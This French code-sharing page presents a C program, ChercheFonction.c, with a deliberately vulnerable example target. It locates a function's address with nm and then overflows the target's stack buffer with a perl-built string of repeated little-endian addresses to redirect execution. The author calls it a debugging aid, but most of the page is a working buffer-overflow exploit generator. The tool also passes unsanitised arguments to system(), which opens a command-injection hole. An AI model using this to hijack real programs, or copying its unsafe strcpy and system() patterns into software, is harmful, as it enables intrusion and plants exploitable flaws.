[c] execution d'une fonction par son nom

Télécharger le projet
Commenter

Description

Ce programme permet d'exécuter une fonction d'un autre programme juste en connaissant son nom :
Pour faire cela il suffit juste que le programme qui contient cette fonction ait un point d'entrée en ligne de commande.
Il faut entrer en argument : le nom du programme qui contient la fonction (qui doit se trouver dans le meme repertoire), le nom de la fonction et un nombre representant le depassement voulu (facultatif par defaut 40 mots).

Il permet un debuggage lors de l'execution en sautant directement a la fonction voulue.

Pour l'executer il faut avoir installé perl.

Par exemple si un programme du nom de ProgrammeA contient (en tres simplifie):

void FonctionA();

int main(int argc, char *argv[]) {
char a[15];
strcpy(a, argv[1]);
return 0;
}

void FonctionA() {
printf("Fonction A\n");
}

il suffira d'executer le programme ChercheFonction sous la forme :

./ChercheFonction ProgrammeA FonctionA

pour executer la fonction "FonctionA" du programme "ProgrammeA".

Source / Exemple : 


/*______________________________*/
/*||||||||||| Pop70 ||||||||||||*/
/*)))))))))))       ((((((((((((*/
/*\\\\\\ChercheFonction.c///////*/

/*


     
  •  Programme qui permet d'utiliser un buffer-overflow 

    •  
  •  pour executer une fonction dont le nom est connu.

    •  
  • /


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>

struct infosFichier {     // Structure pour faciliter la recherche dans un fichier 
	char * adresse;
	long int taille;
};

void lecture_fichier(struct infosFichier *); // Lis le fichier est conserve le contenu dans une structure.
int recherche_adresse(char *, struct infosFichier *, char*); // Recherche l'adresse de la fonction d'apres le contenu.
void execute_fonction(char*, char*, unsigned int); // Tente d'execute la fonction d'apres l'adresse trouvee.

int main(int argc, char *argv[]) {
	
	unsigned int nbMots = 40; // Ici un mot vaut 4 octets, represente le depassement de memoire.
	
	if(argc < 3) {
		printf("Ce programme permet d'executer une fonction par debordement,\n"
					"pour cela il faut donner le nom du programme, le nom de la fonction,\n"
					"et si voulu un nombre correspondant a la taille du debordement (par defaut %u mots)\n\n", nbMots); 
		exit(-1);
	}
	else if (argc > 3)
		nbMots = atoi(argv[3]);
	char *nomProgramme, *nomFonction, *commande;
	
	nomProgramme = (char *)malloc(strlen(argv[1]) + 1);
	nomFonction = (char *)malloc(strlen(argv[2]) + 1);
	commande = (char *)malloc(strlen(argv[1]) + 17);
	
	nomProgramme[strlen(argv[1])] = 0;
	nomFonction[strlen(argv[2])] = 0;
	commande[strlen(argv[1]) + 3] = 0;
	
	// Lance la recherche des fonctions grace a la commande 'nm'.
	
	strcpy(nomProgramme, argv[1]);
	strcpy(nomFonction, argv[2]);
	strcpy(commande, "nm ");
	strcpy(commande + strlen(commande), nomProgramme);
	strcpy(commande + strlen(commande), " > newSys.log"); // Ces informations partent dans un fichier temporaire. 
		
	printf("Recherche de la fonction...\n", commande);
	
	system(commande); // A changer si possible...
	
	struct infosFichier log; // Contient le fichier et sa taille dans une structure.
	
	lecture_fichier(&log);	
	remove("newSys.log"); // Garde le contenu sur la pile et supprime le fichier.
	
	char adresse[9] = {0};
	recherche_adresse(adresse, &log, nomFonction); // Recherche l'adresse de la fonction.
	printf("Adresse de la fonction : 0x%s\n", adresse);
	
	execute_fonction(nomProgramme, adresse, nbMots); // Execute si possible la fonction.	
	
	free(log.adresse); // Libere la memoire.
	free(nomProgramme);
	free(nomFonction);
	free(commande);

	return 0;
}	

void lecture_fichier(struct infosFichier *log) {
	
	int descripteurFichier = -1;  // Utilise les descripteur de fichier et non FILE*.
	
	descripteurFichier = open("newSys.log", O_RDONLY);
	
	if (descripteurFichier == -1) {
		perror("[!!!] - Erreur lors du chargement du fichier.\n");
		exit(-1); // Quitte si probleme.
	}
	
 	char *ptr;
 	long int tailleFichier;
 	
 	tailleFichier = lseek(descripteurFichier, 0, SEEK_END); // Calcule la taille du fichier,
	lseek(descripteurFichier, 0, SEEK_SET); // et remet le curseur au debut.
	
	ptr = (char *)malloc(tailleFichier);	
	
	if(read(descripteurFichier, ptr, tailleFichier) == -1) {         // Lis le fichier.
			perror("[!!!] - Erreur lors de la lecture du fichier.\n"); 
		exit(-1);
	}
	
		
	if (close(descripteurFichier) == -1) {
		perror("[!!!] - Erreur lors de la fermeture du fichier.\n");
		exit(-1);
	}
	
	log->adresse = ptr;            // Complete les informations sur le fichier.
	log->taille = tailleFichier;	
}

int recherche_adresse(char *adresse, struct infosFichier *log, char *nomFonction) {
	
	int i,j=0;
	
	int correspondances = 0;
	int resultat = -1;
	
	for(i=0; i < log->taille; i++) {    // Cherche une correspondance entre le nom de la fonction et contenu du fichier.
		if(log->adresse[i] == nomFonction[correspondances])
			correspondances++;
		else
			correspondances = 0;
		
		if(correspondances == strlen(nomFonction)) {
			resultat = i; // S'il y en a une l'endroit de celle-ci est memorise
			break;		
		}				
	}
	

	
	if(resultat == -1) {
		perror("[!!!] - Erreur, aucune correspondance.\n"); // Sinon le programme s'arrete.
		exit(-1);	
	}
	

	unsigned int debut = resultat - strlen(nomFonction) - 10;
	unsigned int fin = resultat - strlen(nomFonction) - 2;
	
	unsigned int adresseInt=0;
	
	j=0;
	for(i=debut; i < fin ;i++) {
		adresse[j] = log->adresse[i]; // Prend l'adresse qui doit se trouver au debut de la meme ligne.
		j++;
	}
	
	printf("\n");
	
	return resultat;
}	

void execute_fonction(char *nomProgramme, char *adresse, unsigned int nbMots) {
	
	
	char *commande; // La commande qui sera du genre : ./nomProgramme $(perl -e 'print "adresse_oct"xnbMots')
	char nbMotsCh[40] = {0};
	
	sprintf(nbMotsCh,"%u",nbMots);
	
	unsigned int taille_commande = 37 + strlen(nomProgramme) + strlen(adresse) + strlen(nbMotsCh);
	commande = (char *)malloc(taille_commande);
	bzero(commande, taille_commande);
	
	strcpy(commande, "./");
	strcpy(commande + strlen(commande), nomProgramme);
	strcpy(commande + strlen(commande), " $(perl -e \'print \"");  
	
	char adresse_oct[18] = {0};

	
	// Conversion de l'adresse de la forme 0xAAbbCCdd sous la forme 0xdd 0xCC 0xbb 0xAA (little-endian oblige...).
	int i, j = 7, k=0;
	for(i=0;i < 14; i+=4) {
		adresse_oct[i] = '\\';
		adresse_oct[i+1] = 'x';
		adresse_oct[i+2] = adresse[j-k-1];
		adresse_oct[i+3] = adresse[j-k];
		k+=2;
	}
	
	// Assemblage des chaines.
	strcpy(commande + strlen(commande), adresse_oct); 
	strcpy(commande + strlen(commande), "\"x");
	strcpy(commande + strlen(commande), nbMotsCh);
	strcpy(commande + strlen(commande), "\')");    
		
	system(commande); // Execute la commande.
		
	free(commande); // Libere la memoire.

}

Conclusion :


L'un des principaux inconvénients de ce code est d'utiliser la fonction system().

De plus, j'ai testé le programme sur Linux, il y a donc peut etre des choses a revoir pour l'executer sur Windows, c'est pour ceci qu'il n'y a pas executable.

Enfin, ce programme est utile pour debugger un autre programme lorsqu'on ne peut pas atteindre pour une raison ou une autre une certaine fonction, et seulement pour ceci, car sans connaître le nom de la fonction il ne pas être utilisé. Par contre, il n'est pas très précis et peut, en fonction du nombre de dépassements, exécuter plusieurs fois la fonction voulue.

En tout cas j'espere qu'il pourra etre utile a quelqu'un.

Pop70
Télécharger le projet

Codes Sources

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (pop70)